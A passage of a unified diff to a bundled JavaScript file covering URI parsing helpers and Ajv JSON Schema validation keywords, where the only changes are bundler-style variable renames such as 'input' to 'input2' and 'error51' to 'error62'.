hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { 